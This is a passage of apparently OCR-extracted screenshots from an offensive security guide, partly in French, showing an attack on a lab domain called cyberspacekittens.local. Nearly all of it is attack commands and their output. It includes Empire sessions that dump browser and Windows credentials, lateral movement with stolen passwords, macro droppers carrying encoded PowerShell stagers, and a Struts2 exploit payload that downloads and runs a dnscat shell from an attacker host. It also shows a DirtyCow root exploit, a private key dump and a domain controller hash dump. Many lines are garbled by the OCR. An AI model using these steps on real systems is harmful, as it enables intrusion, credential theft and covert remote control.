(Empire: ) > scriptcmd Invoke-mimikittenz

mimikittenz-1.0-alpha

CAN I HAZ WAM?

*! ]amleson(@drmgensec.(om

i il

::;!!l-.FIIIﬂ..llllll..’lllllﬂ..l.'

PatternName : Github
PatternMatch : %3D%3D&login=cyberspacekittens&password=FKJFdihfeyFJhdbvbbb
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Gérer vos informations d'identification

Affichez et supprimez vos informations d‘ouverture de session enregistrées pour les sites Web, les
applications connectées et les réseaux.

ﬁ] Informations d'identification Web l = n

Sauvegarder les informations d'identification Restaurer les informations d‘identification

Informations d'identification Windows Ajouter des informations d‘identification Windows

WDMYCLOUD Modifié : 07/05/2019 (V)

Informations d'identification a base de certificatAjouter des informations d'identification a base de certificat

Aucun certificat.

Informations d'identification génériques Ajouter des informations d'identification génériques

github.cyberspacekittens.local Modifié : Aujourd'hui @)
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(Empire: ) > scriptimport /opt/nishang/Gather/Get-WebCredentials.psl
script successfully saved in memory

(Empire: ) > scriptcmd Get-WebCredentials
Job started: 9UPRLG

UserName : neil

Resource : https://www.facebook.com/

Password : ggoingtospace

Properties : {[hidden, False], [applicationid, 4e3cb6d5-2556-4cd8-a48d-c755c
(Empire: ) > scriptimport /opt/Invoke-WCMDump/Invoke-WCMDump.psl
(Empire: ) >

script successfully saved in memory

(Empire: ) > scriptcmd Invoke-WCMDump
(Empire: ) >
Job started: GHVYN4

Username : neil.pawstrong

Password : fasterthanlightspeed

Target : github.cyberspacekittens.local
Description g

LastWriteTime 1 2/26/2018 11:35:03 PM
LastWriteTimeUtc : 2/27/2018 7:35:03 AM

Type : Generic

' e
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(Embire: B ) > scriptimport /opi)BrowserGather.psl

(Empire: ] >

script successfully saved in memory

(Empire: ) > scriptcmd Get-ChromeCookies
(Empire: ) >

Job started: 53XUL1

Blob : cyberspacekittens

Cookie : .github.comdotcom user/

Blob : yes

Cookie : .github.comlogged in/

Blob : DHgUYWiRUHgUYWiR1YDNWrnWOuDdhEwygt7Ctx
Cookie : github.com Host-user session same sit

Blob : DHgUYWiR1HgUYWiR1YDNWrnWOuDdhEwygt7Ctx
Cookie : github.comuser_session/
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rootdTHP-LETHAL: /# cme smb 10.100.100.0/24 -d 'cyberspacekittens.local' -u 'neil.pawstrong' -p '.wertSDFG.' -M empire exec -o LISTENER=http

EMPIRE E... [+] Successfully generated launcher for listener 'http’
SMB 10.100.100.99 445 DISKSTATION [*] Windows 6.1 (name:DISKSTATION) (domain:cyberspacekittens.local) (signing:False) (SMBv1:T
SMB 160.100.100.99 445 DISKSTATION [-] cyberspacekittens.local\neil.pawstrong:.wertSDFG. STATUS LOGON FAILURE
SMB 10.100.100.197 445 DESKTOP-5PKGSBF [*] Windows 10 Pro 16299 x64 (name:DESKTOP-5PKGBBF) (domain:cyberspacekittens.local) (signin
SMB 10.100.100.197 445 DESKTOP-5PKG8BF [-] cyberspacekittens.local\neil.pawstrong:.wertSDFG. STATUS LOGON FAILURE
10.100.100.231 445 CHRIS [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:CHRIS) (domain:cyberspacekittens.loca
16.100.100.200 445 CSK-DC [*] Windows Server 2016 Standard 14393 x64 (name:CSK-DC) (domain:cyberspacekittens.local) (s
10.100.100.230 445 CSK-LAB [*] Windows 7 Enterprise 7601 Service Pack 1 x64 (name:CSK-LAB) (domain:cyberspacekittens.lo
10.100.100.220 445 BUZZ [*] windows 16.6 Build 16299 x64 (name:BUZZ) (domain:cyberspacekittens.local) (signing:False
10.100.160.222 445 NEIL [*] windows 10.0 Build 16299 x64 (nam EIL) (domain:cyberspacekittens.local) (signing:False
10.100.100.221 445 KITTY [*] windows 10.0 Build 16299 x64 (name:KITTY) (domain:cyberspacekittens.local) (signing:Fals
10.100.100.231 445 CHRIS [+] cyberspacekittens.local\neil.pawstrong: .wertSDFG.
10.100.100.200 445 CSK-DC [+] cyberspacekittens.local\neil.pawstrong:.wertSDFG.
10.160.100.230 445 CSK-LAB [+] cyberspacekittens.local\neil.pawstrong:.wertSDFG.
10.100.100.220 445 BUZZ [+] cyberspacekittens.local\neil.pawstrong:.wertSDFG. (Pwn3d!)
10.100.100.222 445 NEIL [+] cyberspacekittens.local\neil.pawstrong:.wertSDFG. (Pwn3d!)
10.100.100.221 445 KITTY [+] cyberspacekittens.local\neil.pawstrong:.wertSDFG.
EMPIRE_E... 10.100.100.220 445 BUZZ [+] Executed Empire Launcher
EMPIRE E... 10.100.100.222 445 NEIL [+] Executed Empire Launcher

[Version] 2.4 | [Web] https://github.com/empireProject/Empire

<

282 modules currently loaded
1 listeners currently active
39 agents currently active

(Empire) > [+] Initial agent NK3MZ52D from 10.100.100.220 now active (Slack)
[+] Initial agent SMZTGV4B from 10.100.100.222 now active (Slack)
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Command ID : 114

Command : netsh advfirewall firewall
Comment : windows firewall status
Tags : enumeration,Windows

Date Added : 2018-03-21

Added By : @yght

References

https://yg.ht
https://technet.microsoft.com/en-us/library/bb490939.aspx
B e o S o S

B o o o B e e S
Command ID : 115

Command : tasklist /v

Comment : Windows process list

Tags : enumeration,Windows,process management,privilege escalation
Date Added : 2018-03-21

Added By : Innes

References

https://technet.microsoft.com/en-gb/library/bb4910106.aspx
B o

B L
Command ID : 117

Command : netstat -a | find "LISTENING"
Comment : Windows list listening ports
Tags : networking,enumeration,Windows
Date Added : 2018-03-21

Added By : Innes

References






OPS/images/F05_09.jpg
(Empire: stager/window acrole sword) > info
Name: Macroless code execution in MSWord
Description:

Creates a macroless document utilizing a formula
field for code execution

Options:
Name Required Value Description
Listener True Listener to use for the payload.
OutputPath True /tmp/ Output path for the files.
OutputPsl True default.psl PS1 file to execute against the target.
HostURL True http://192.168.1.1:80IP address to host the malicious psl

file.:
OutputDocx empire.docx MSOffice document name.
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IFin-de-formule-inattenduef|

Microsoft Word

X

| Ce document contient des liens pouvant faire référence a d'autres fichiers. Voulez-vous mettre a jour ce document avec les données des fichiers liés ?

Oui
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:~# nmap -p88 --script krb5-enum-users --script-args krb5-enum-users.
realm="cyberspacekittens.local",userdb=/opt/userlist.txt 10.100.100.200

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-24 22:13 PST
Nmap scan report for 10.100.100.200
Host is up (0.0032s latency).

PORT STATE SERVICE

88/tcp open kerberos-sec

krb5-enum-users:

Discovered Kerberos principals
purri.gagarin@cyberspacekittens.local
buzz.clawdrin@cyberspacekittens.local
chris.catfield@cyberspacekittens.local
neil.pawstrong@cyberspacekittens.local
kate@cyberspacekittens.local
kitty.ride@cyberspacekittens.local
elon.muskkat@cyberspacekittens.local

B dade@cyberspacekittens.local

MAC Address: 00:50:56:2A:A6:8C (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
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@ AVERTISSEMENT DE SECURITE Les macros ont été désactivées.

Activer le contenu
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Sub Auto_Open()

r
End Sub

Sub AutoOpeni)

r
End Sub

Sub Document_Openi)

p
End Sub

Public Function p() As Variant
Dim Ibe As String
Ibe = "powershell -noP -sta -w 1 -enc IAAKAHOAZQAyADKAPQ"
Ibe = Ibe + "AgAFsSAdABSAFAARQBAACHAIgB7ADEAMABS AHsAMABSAHsAMwES"™
Ihe Ibe + "AHsSAOABSAHsSAOQBESAHsSANWESAHsAMOAxAHOAewAyAHOAewAOAH™
Ibe Ibe + "OlewhlAHOAewlhZ AHOAewixAHOAIgAgACOAZgAgACCALAANACWA™
Ibe = Ibe + "JwBFAGMAVAANACwAJWE]AHQA=aQBvAGAAQOBYACCALAANAGUAYY™
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C:\Python27\python.exe VBad.py

W = = ]

AN/ N7/

\V/IICICH

\/ | —/ N\ N\

VBA Obfuscation Tools combined with an MS office document generator
By @Pepitoh

[+] .doc detected
[+] Valid filename_list, 1 .doc will be generated
[+] C:\Users\cheetz\Desktop\VBad-master\original_vba_prepared.vbs will be
obfuscated and integrated in created documents
[+] Creating CyberSpaceKittens.doc
[+] XOR encrypton was selected
[+] Randomizing variable and function names
[+] Randomized trigger function name : djFhehXeE
[+] Obfuscation of strings
[+] Hiding strings from python script
[+] Adding 4 fake small keys before real ones
[+] Adding 3 fake big keys
[+] Using Document.Variables method for hiding ciphering keys (real ones)
[+] onOpen auto-action was chosen
[+] Wrapping triggering function with auto_function_macro
[+] Removing VBA style
[+] Adding effective payload to a specific module and triggering function to
[+] Saving file
[+] Option delete module name activated, deleted reference to module
containing effective payload
[*] File Phishing.doc was created succesfuly
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Détourne le trafic Modifie le site cloné

et récupere la pour la charge utile et
requéte POST le service ReelPhish
2 authentification cloné 3

Boite de I'attaquant | Site réel

La victime est rediri-
8 gée vers le site réel

iq
La victime est piégée
et renvoy/ée vers le site

5

Envoie les identifiants
a l'attaquant

Procédure de double victime
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Macro

Nom de la macro :

test

Exécuter

Pas a pas détaillé

Modifier

Supprimer

Macros dans : | Classeur1

Description

Options...
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ftmp

lsub Auto_Open()

[
End Sub

Sub AutoOpen()

p
End Sub

Sub Document_Open()

p
End Sub

Public Function p() As Variant
Dim Ibe As String
Ibe = "powershell -noP -sta -w 1 -enc IAAkAHOAZQAyADkAPQ"

Ibe = Ibe + "AgAFSAdABSAFAARQBAACgAIgB7ADEAMAB9AHSAMABOAHSAMWBO"
Ibe = Ibe + "AHSAOAB9AHSAOQB9AHSANWBOAHSAMQAXAHOAewAyAHOAewAOAH"
Ibe = Ibe + "OAewAlAHOAewA2AHOAewAxAHOAIgAgACOAZGAgACCADAANACWA™
Ibe = Ibe + "JwWBFAGMAVAANACWAJWBjAHQAaQBVAG4AQQBYACCALAANAGUAYW"
Ibe = Ibe + "BUAEKAJWASACcAeQBbACCALAANAFMAVABYAGKATgBNACCALAAN™
Ibe = Ibe + "ACwWAcwBZAFMAdABLAEOALgBVAEIAagAnACWAJWBpAEMALgBEAC"
Ibe = Ibe + "CALAANAE8S8ATgBzAC4AZWBFAE4ARQANACWAJWBSACCALAANAEMA"
Ibe = Ibe + "TwBMACCALAANAGKAJWApPACAAOWAgACQARWAWAFQAOQBKADIAPQ™
Ibe = Ibe + "AgACAAWWBUAHKACABLAFOAKAA1IAHSAMQB9AHSAMAB9AHSAMgB9™"
Ibe = Ibe + "AHSAMWB9ACIALQBGACCAVAANACWAIWBZAEMACgBpAFAAJWASAC"
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(Empire: ) > info

) 7461328587952686
jitt 0.0
r None
rnal_i 10.100.100.222

%C;DhoX !u(]|ajWG,\JZb+}@R&Q1Sn2w
None
t 2018-02-22 22:23:34
tname NEIL
10
|
CYBERSPACEKITTE\neil.pawstrong

None
B € powershell
tener http
pro 4756
pro /admin/get.php, /news.php,/login/process.php|M
6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Microsoft Windows 10 Pro
t it 60

] CWVS1UEZ
a 1g¢ powershell
rné i 10.100.100.222
io CWVS1UEZ
ast € 2018-02-22 22:34:13
a € r 5
igh_i ity 0
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host/antivirusproduct
host/computerdetails*
host/dnsserver
host/findtrusteddocuments
host/get pathacl

host/get proxy
host/get_uaclevel
host/monitortcpconnections
host/paranoia*

host/winenum

network/arpscan
network/bloodhound

network/get exploitable system
network/get _spn

network/get sql_instance domain
network/get _sql_server_info
network/portscan

network/powerview/find foreign group

network/powerview/find_foreign user
network/powerview/find gpo computer admin
network/powerview/find gpo location
network/powerview/find localadmin access
network/powerview/find managed security group
network/powerview/get cached rdpconnection
network/powerview/get computer
network/powerview/get dfs share
network/powerview/get domain controller
network/powerview/get domain policy
network/powerview/get domain trust
network/powerview/get fileserver
network/powerview/get forest
network/powerview/get forest domain
network/powerview/get gpo
network/powerview/get group
network/powerview/get group member
networh/powerview/get localgroup

network/powerview/get loggedon
network/powerview/get object acl
network/powerview/get ou
network/powerview/get rdp_session
network/powerview/get session
network/powerview/get site
network/powerview/get subnet
network/powerview/get user
network/powerview/map domain trust
network/powerview/process _hunter
network/powerview/set ad object
network/powerview/share finder
network/powerview/user_hunter
network/reverse dns
network/smbautobrute
network/smbscanner
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logoncount 0

badpasswordtime : 12/31/1600 4:00:00 PM

distinguishedname : CN=purri gagarin,CN=Users,DC=cyberspacekittens,DC=1local

objectclass : {top, person, organizationalPerson, user}

displayname : purri gagarin

lastlogontimestamp : 2/11/2018 7:19:17 PM

name : purri gagarin

objectsid : 5-1-5-21-1457346524-2954082059-2816622194-1107

samaccountname : purri.gagarin

codepage A0)

samaccounttype : USER OBJECT

accountexpires : NEVER

countrycode : 0

whenchanged 1 2/12/2018 3:19:17 AM

instancetype 4

usncreated 1 16431

objectguid : blfbda00-af48-45b5-aac0-38d3278251d5

sn : gagarin

lastlogoff : 12/31/1600 4:00:00 PM

objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=cyberspacekittens,DC=local

dscorepropagationdata : {2/11/2018 3:51:01 AM, 1/1/1601 12:00:00 AM}

givenname :opurri

memberof : {CN=1lab,CN=Users,DC=cyberspacekittens,DC=local,
CN=helpdesk,CN=Users,DC=cyberspacekittens,DC=local}

lastlogon : 2/11/2018 11:09:40 PM

badpwdcount )

cn : purri gagarin

useraccountcontrol : NORMAL ACCOUNT, DONT EXPIRE PASSWORD

whencreated : 2/11/2018 3:51:01 AM

primarygroupid s 513

pwdlastset : 2/10/2018 7:52:03 PM

usnchanged : 33024
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(Empire: powerst
(Empire: power
(Empire: powerst 1
Job started: S4XW5B

GroupDomain

GroupName
GroupDistinguishedName
MemberDomain

Membe rName
MemberDistinguishedName
MemberObjectClass
MemberSID

GroupDomain

GroupName
GroupDistinguishedName
MemberDomain

Membe rName
MemberDistinguishedName
MemberObjectClass
MemberSID

GroupDomain

GroupName
GroupDistinguishedName
MemberDomain

Membe rName
MemberDistinguishedName
MemberObjectClass
MemberSID

ber) > execute
ember) >

cyberspacekittens.local

Domain Admins

CN=Domain Admins,CN=Users,DC=cyberspacekittens,DC=local
cyberspacekittens.local

LELE

CN=dade,CN=Users,DC=cyberspacekittens,DC=local

user

5-1-5-21-1457346524-2954082059-2816622194-1113

cyberspacekittens.local

Domain Admins

CN=Domain Admins,CN=Users,DC=cyberspacekittens,DC=local
cyberspacekittens.local

kate

CN=kate,CN=Users,DC=cyberspacekittens,DC=1ocal

user

$-1-5-21-1457346524-2954082059-2816622194-1112

cyberspacekittens.local

Domain Admins

CN=Domain Admins,CN=Users,DC=cyberspacekittens,DC=local
cyberspacekittens.local

elon.muskkat
CN=elon.muskkat,CN=Users,DC=cyberspacekittens,DC=1local
user

S$-1-5-21-1457346524-2954082059-2816622194-1000

ember) > set Identity "Domain Admins"
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anshostname

logoncount
badpasswordtime
distinguishedname
objectclass
badpwdcount
lastlogontimestamp
objectsid
samaccountname
localpolicyflags
codepage
samaccounttype
countrycode

cn

accountexpires
whenchanged
instancetype
usncreated
objectguid
operatingsystem
operatingsystemversion
lastlogoff
objectcategory
dscorepropagationdata
serviceprincipalname

lastlogon
iscriticalsystemobject
usnchanged

useraccountcontrol
whencreated

primarygroupid

pwdlastset

msds - supportedencryptiontypes
name

dnshostname

logoncount
badpasswordtime
distinguishedname
objectclass

K1tly.cyberspaceklittiens. local

56

2/11/2018 10:23:50 PM
CN=NEIL,CN=Computers,DC=cyberspacekittens,DC=local
{top, person, organizationalPerson, user...}

0

2/22/2018 11:17:11 PM
$-1-5-21-1457346524-2954082059-2816622194-1116
NEILS$

0

0

MACHINE ACCOUNT

[¢]

NEIL

NEVER

2/23/2018 7:17:11 AM

4

24768
3a9a0d32-ebec-4e9b-9073-€229ab365b26

: Windows 10 Pro

10.0 (16299)
12/31/1600 4:00:00 PM

CN=Computer,CN=Schema, CN=Configuration,DC=cyberspaceki

1/1/1601 12:00:00 AM

{RestrictedKrbHost/NEIL, HOST/NEIL, RestrictedKrbHost/|

HOST/neil.cyberspacekittens.local}
2/23/2018 8:11:32 PM

False

36900

WORKSTATION TRUST ACCOUNT

2/11/2018 9:49:08 AM

515

2/11/2018 1:49:08 AM

28

NEIL
neil.cyberspacekittens.local

27

12/31/1600 4:00:00 PM

CN=CHRIS, CN=Computers,DC=cyberspacekittens,DC=local
{top, person, organizationalPerson, user...}
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Icommand (struts) 5= listen 127.0.0.1:2222 172.16.256.50:22
(Listening on 127.0.0.1:2222, sending connections to 172.16.250.50:22
command (struts) 5> Connection from 127.0.0.1:53990; forwarding to 172.16.250.50
HA R s

[Tunnel 0] connection successful!

root@thp3: /opt/dnscat2/server

File Edit View Search Terminal Help 3

/opt/dnscat2/server# ssh db_backup@l27.0.0.1 -p 2222
db backup@l27.0.0.1's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86 64)

* Documentation: https://help.ubuntu.com

* Management: https://landscape.canonical.com

¥ Support: https://ubuntu.com/advantage

Last login: Thu Apr 12 22:21:19 2018 from 172.16.250.10
$ ifconfig

ens32 Link encap:Ethernet HWaddr 00:0c:29:25:10:d9

inet addr:172.16.250.50 Bcast:172.16.250.255 Mask:255.255.255.0
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zV1H2ipxBsM7dZ1SeTBZ+EghxIQro2RYxbUXnEPw8yQcz+R5GUAHOIN10fsUaFKxmnR4tk/wWWOYhHEXSFQLh3fUt3Cuk6aIxDX
QrKSBXVDK+11KJ/dedzSLr3s4AWCIOSU/1INpsmYCEAJynp/bKNi610JkuhPVt/g51RfV+smOvdbxOhRt6/k4t4Gqyz1DI/RDKKW
6QdOUBewSxmyXQ=" | base64 --decode > hudson.util.Secret

root@thp3:/opt/jenkins-decrypt#

root@thp3:/opt/jenkins-decrypt# ls

credentials.xml decrypt.py hudson.util.Secret master.key README.md requirements.txt
root@thp3:/opt/jenkins-decrypt# python3 ./decrypt.py m

./decrypt.py <master.key> <hudson.util.Secret> <credentials.xml>

root@thp3: /opt/jenkins-decrypt# python3 ./decrypt.py master.key hudson.util.Secret credentials.xml
B8 uovra{4UL™; r2+hg

root@thp3:/opt/jenkins-decrypt# D 1[
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$ sudo su -

root@db:/var/llb/mysql# cat cyberspaceklttens/secrets ibd
2707 7

[sudo] password for db backup:
root@db:~# cd /var/lib/mysql
root@db: /var/lib/mysql# 1s

auto.cnf ib_buffer _pool ib logfilel opencms
cyberspacekittens ibdatal ibtmpl performance_schema
debian-5.7.flag ib logfileo mysql sys

06@00&0@@0@ﬂﬂﬁﬂﬂﬁﬂéﬁuéﬁﬂ&qucZ; ﬁﬂu@uu@u

FEBIL:

pO[ I CHBEEAEHHAn fimum;2
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sh (struts) 2> cat ~/.bash_history

sh (struts) 2> 1s

ssh -i .ssh/id rsa root@172.16.250.30
vi ~/.bash history

exit

sh (struts) 2> head ~/.ssh/id rsa

sh (struts) 2> ----- BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAZNNePFN5swnuCBZEHTgSIFgqxZrvmKdUXkr4x8gqou320jsEg
KUlaEXyYXZwMocnDowmE2ftnynlsQb4bl/v08YifOh39MXyD3caZ09COLP4NgrXV
uTz16j4L1Q3r fMucnVHVMC9Q3C1DGtOCcIJUWEVEHI10Hmo 1dUOWUE9ZZzStInBNpch
LIWrIGSZEmonUxVzHVXYIXS/N6E9eH+IFTahBujajQSeIJXs/UHFv/pKRRXZKE7y
Zbmlt3NzwtuFLVKOGXxgLlr5ptOROUYyV6+xWIKcyyZblrr2Z9C8//xss40VEaCWYm
duf64sW69h0AEMYUTzKULQgPWOG]j kykqorPE7WIDAQABAOIBAQCEM66BtPaz2psIt
nYyKpXBApW76mZJe8VOCFBdIpmbTohBa6+Lbb/QgRIgRUa9pHXNPWNY fXHVVW+fu
BX4ICkklLlchpyCOwuxyZQ2VFwlm7XTbYfN1hkC4injCPOKwDHbC60fetD30bdvR
3vakBOpk2K2p94Yd0EVjQ?Lsdurl63nkthUj07wBsp5jo/XNAqBO9HBC6nleZ7

sh (struts) 2> ssh -i ~/.ssh/id rsa root@172.16.250.30
sh (struts) 2> Pseudo-terminal will not be allocated because stdin is not a t
elcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-21-generic x86 64)

* Documentation: https://help.ubuntu.com

¥ Management: https://landscape.canonical.com

* Support: https://ubuntu.com/advantage
mesg: ttyname failed: Inappropriate ioctl for device

sh (struts) 2> 1s

sh (struts) 2> ifconfig

sh (struts) 2> ens32 Link encap:Ethernet HWwaddr 00:0c:29:3d:56:18
inet addr:172.16.250.30 Bcast:172.16.250.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe3d:5618/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
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sh (struts) 2> wget http://bit.ly/2dvViw4Z -0 dirtycow-mem.c

sh (struts) 2> gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread--2018-04-13 21:18:47-- h
.ly/2dviw4z

Resolving bit.ly (bit.ly)... 67.199.248.11, 67.199.248.10, 67.199.248.10

Connecting to bit.ly (bit.ly)|67.199.248.11|:80... connected.

HTTP request sent, awaiting response... 301 Moved Permanently

Location: https://gist.githubusercontent.com/scumjr/17d91f20f73157c722ba2aea702985d2/raw/a371785
a5c6f891080770feca5c74d7/dirtycow-mem.c [following]

--2018-04-13 21:18:47-- https://gist.githubusercontent.com/scumjr/17d91f20f73157c722ba2aea70298
37178567ca7b816a5c6f891080770feca5c74d7/dirtycow-mem.c

Resolving gist.githubusercontent.com (gist.githubusercontent.com)... 151.101.0.133, 151.101.64.1
011282133,
Connecting to gist.githubusercontent.com (gist.githubusercontent.com)|151.101.0.133|:443... conn

HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: ‘dirtycow-mem.c’

K .... 100% 14.1M=0s

2018-04-13 21:18:48 (14.1 MB/s) - ‘dirtycow-mem.c’ saved [5119/5119]

sh (struts) 2> dirtycow-mem.c: In function ‘get range’:
dirtycow-mem.c:139:16: warning: use of assignment suppression and length modifier together in gn
ormat [-Wformat=]

sscanf(line, "%Ix-%1lXx %S %*LX %*X:%*X %*Lu %s", start, end, flags, filename);
dirtycow-mem.c:139:16: warning: use of assignment suppression and length modifier together in gn
ormat [-Wformat=]

sh (struts) 2> ./dirtycow-mem

sh (struts) 2> echo @ > /proc/sys/vm/dirty writeback centisecs

sh (struts) 2> echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic on oops&& echo
c/sys/kernel/panic on unrecovered nmi && echo 1 > /proc/sys/kernel/panic on io nmi && echo 1 > /
kernel/panic on warn

sh (struts) 2> whoami

sh (struts) 2> root
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Jenkins

nkins Credentials System Global credentials (unrestricted) db_backup/****** (Database Backup Job Credentials

b Back to Global credentials (unrestricted)

Update db_backup/****** (Database Backup

D Delete Job Credentials)
L Move Database Backup Job Credentials
Usage
3
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# Jenkins ®

Jenkins E AUTO REFRESH]
New Item #add descriptid
Al +
& People _
root@thsaz lopt/dnscat2/server e ® 9O
# Build Hist
File Edit View Search Terminal Tabs Help

2. Manage =

‘ root@thp3: ~ x  root@thp3: /opt.. X | root@thp3: /opt.. x root@struts: /t x B -

command (struts) 1>|listen 127.0.0.1:8080 172.16.250.30:8080
Listening on 127.0.0.1:8080, sending connections to 172.16.250.30:8080
¥ command (struts) 1> Connection from 127.0.0.1:57872; forwarding to 172.16.250.30
£:8080. ..
[Tunnel ©] connection successful!
Connection from 127. :57874; forwarding 172.16.250.30:8080.
e Connection from 127. :57876; forwarding 172.16.250.30:8080.

1
.0.1
1 Idle Connection from 127.0.0.1:57878; forwarding 172.16.250.30:8080.
1
1

2 Idle Connection from 127. :57880; forwarding 172.16.250.30:8080.

Connection from 127.

:57882; forwarding 172.16.250.30:8080.
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msf exploit( ) > show options

Module options (exploit/multi/http/struts2 content type ognl):

Name Current Setting Required Description

Proxies no A proxy chain of format type:host:port[,type:ho
st:port][...]

RHOST 172.16.250.10 yes The target address

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing connections

TARGETURI struts2-showcase/showcase.action yes The path to a struts application action

VHOST no HTTP server virtual host

Payload options (cmd/unix/generic):

Name Current Setting
Required Description

CMD wget http://172.16.250.130/dnscat -0 /tmp/dnscat && chmod +x /tmp/dnscat && /tmp/dnscat --dns se
rver=172.16.250.130,port=53 --secret=b2c306a5f5fda36a077675f064d14839 yes The command string to ex
pcute
Exploit target:

Id Name

0 Universal

nsf exploit( ) > runf]
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# Declaration of database pools
HERHRBHHBRBRBHBRRRRBHBRH R BB R R BB H R B HR B R R BB BB R R R B R BB R B R R R BB BB R BB R R BB R B R R R BHHRRH
db.pools=default

#

# Configuration of the default database pool
HERHBRBRBRBRBRHRBRRRER R BB R BB R R B R BB BB R BB RRBRBR B R R B R BB BB AR B BB BB B R B RRRRRRHRRRABRHRRHR
# name of the JDBC driver

db.pool.default.jdbcDriver=org.gjt.mm.mysql.Driver

# URL of the JDBC driver
db.pool.default. jdbcUrl=jdbc:mysql://172.16.250.50:3306/0opencms

# optional parameters for the URL of the JDBC driver
db.pool.default. jdbcUrl.params=?characterEncoding=UTF-8

# user name to connect to the database
db.pool.default.user=store

# password to connect to the database
db.pool.default.password=WTWOIUEfjSLeij

# the URL to make the JDBC DriverManager return connections from the DBCP pool
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dnscat2>

New window created: 1

Session 1 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)
dnscat2>

dnscat2> window -i 1

New window created: 2

Session 2 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)

dnscat2> window -i 2

New window created: 2

history size (session) => 1000

Session 2 Security: ENCRYPTED AND VERIFIED!

(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

sh (struts) 2> 1s
sh (struts) 2> bin
boot
dev

etc
R
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um# ./les.sh

Available information:

Kernel version: 4.14.0

Architecture: x86_64

Distribution: debian

Distribution version:

Additional checks (CONFIG *, sysctl entries, custom Bash commands): performed
Package listing: from current 0S

Searching among:

69 kernel space exploits
31 user space exploits

Possible Exploits:
[+] [CVE-2015-3290] espfix64 NMI

Details: http://www.openwall.com/lists/oss-security/2015/08/04/8
Download URL: https://www.exploit-db.com/download/37722

[+] [CVE-2016-0728] keyring

Details: http://perception-point.io0/2016/01/14/analysis-and-exploitation-of-a-linu
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run

[+] [CVE-2009-1185] udev

Details: https://www.exploit-db.com/exploits/8572/

Tags: ubuntu=8.10|9.04

Download URL: https://www.exploit-db.com/download/8572

Comments: Version<l.4.1 vulnerable but distros use own versioning scheme. Manual v
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opt/LinEnum# ./LinEnum.sh

Debug Info
thorough tests = disabled

Linux THP-LETHAL 4.14.0-kalil-amd64 #1 SMP Debian 4.14.2-1kalil (2017-12-04) x86 64 GNU/Linu

Linux version 4.14.0-kalil-amd64 (devel@kali.org) (gcc version 7.2.0 (Debian 7.2.0-16)) #1 SI

DISTRIB ID=Kali

DISTRIB RELEASE=kali-rolling

DISTRIB CODENAME=kali-rolling

DISTRIB DESCRIPTION="Kali GNU/Linux Rolling"
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"

ID=kali

VERSION="2017.3"

VERSION ID="2017.3"

ID LIKE=debian

ANSI COLOR="1;31"
HOME_URL="http://www.kali.org/"
SUPPORT URL="http://forums.kali.org/"
BUG REPORT URL="http://bugs.kali.org/"
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# cd /opt/dnscat2/server
opt/dnscat2/server# ruby ./dnscat2.rb

New window created: ©
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto attach => false

history size (for new windows) => 1000

Security policy changed: All connections must be encrypted
New window created: dnsl

Starting Dnscat2 DNS server on 0.0.0.0:53

[domains = n/a]...

It looks like you didn't give me any domains to recognize!
That's cool, though, you can still use direct queries,
although those are less stealthy.

To talk directly to the server without a domain name, run:

./dnscat --dns server=x.x.Xx.x,port=53|--secret=b2c306a5f5fda36a077675f064d14839
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&) @ | 172.16.250.10/struts 2-showcase/showcase.action | @ |QSe
il Most Visitedv [flOffensive Security "\ Kali Linux "\ Kali Docs & Kali Tools & Exploit-DB Wy Air

Struts2 Showcase A Home Configuration ~ Tags~ File~ Examples ~

Welcomel!

The Struts Showcase demonstrates a variety of use cases and tag usage|
various framework features in isolation. The Showcase is not meant as a

For more "by example" solutions, see the ESIUNSHSLLIGELISHN pages.
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Options:

Name Required Value Description
Active False Switch. Only collect hashes for accounts
marked as active. Default is True
Domain False Specified (fqdn) domain to pull for the
primary domain/DC.
Computers False Switch. Include machine hashes in the
dump
Forest False Switch. Pop the big daddy (forest) as
well.
Agent True NCTS3RAH Agent to run module on
(Empire: powershell 1tial imikatz/dc hashdump) > execute
(Empire: powershell antial imikatz/dc hashdump) >

Job started: AXUMR1

Administrator:500:aad3b435b51404eeaad3b435b51404ee: c744bc7a6cdd336a51dc414e0461121a: ::
Guest:501:NONE:::

DefaultAccount:503:NONE: : :
elon.muskkat:1000:aad3b435b51404eeaad3b435b51404ee:c744bc7abcdd336a51dc414e0461121a:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c4c4907911826d16bb619713407e4e6d: : :
neil.pawstrong:1104:aad3b435b51404eeaad3b435b51404ee:e5accc66937485a521e8eclOb5fbebba: : :
buzz.clawdrin:1105:aad3b435b51404eeaad3b435b51404ee:3dd62c112d53e93fa44abcl00792e6ff: ::
kitty.ride:1106:aad3b435b51404eeaad3b435b51404ee:54Tf60fa820aec9fcoel604e2d01clbb9: ::
purri.gagarin:1107:aad3b435b51404eeaad3b435b51404ee:0d2722c5bc3ecaB76445544a7e71826F: ::
chris.catfield:1108:aad3b435b51404eeaad3b435b51404ee:07653bb4388e781b65cee4193e4a0894: : :
kate:1112:aad3b435b51404eeaad3b435b51404ee: c744bc7abcdd336a51dc414e0461121a:::
dade:1113:aad3b435b51404eeaad3b435b51404ee:7b4c26b2777e93ff436b6f5477687e5b: : :
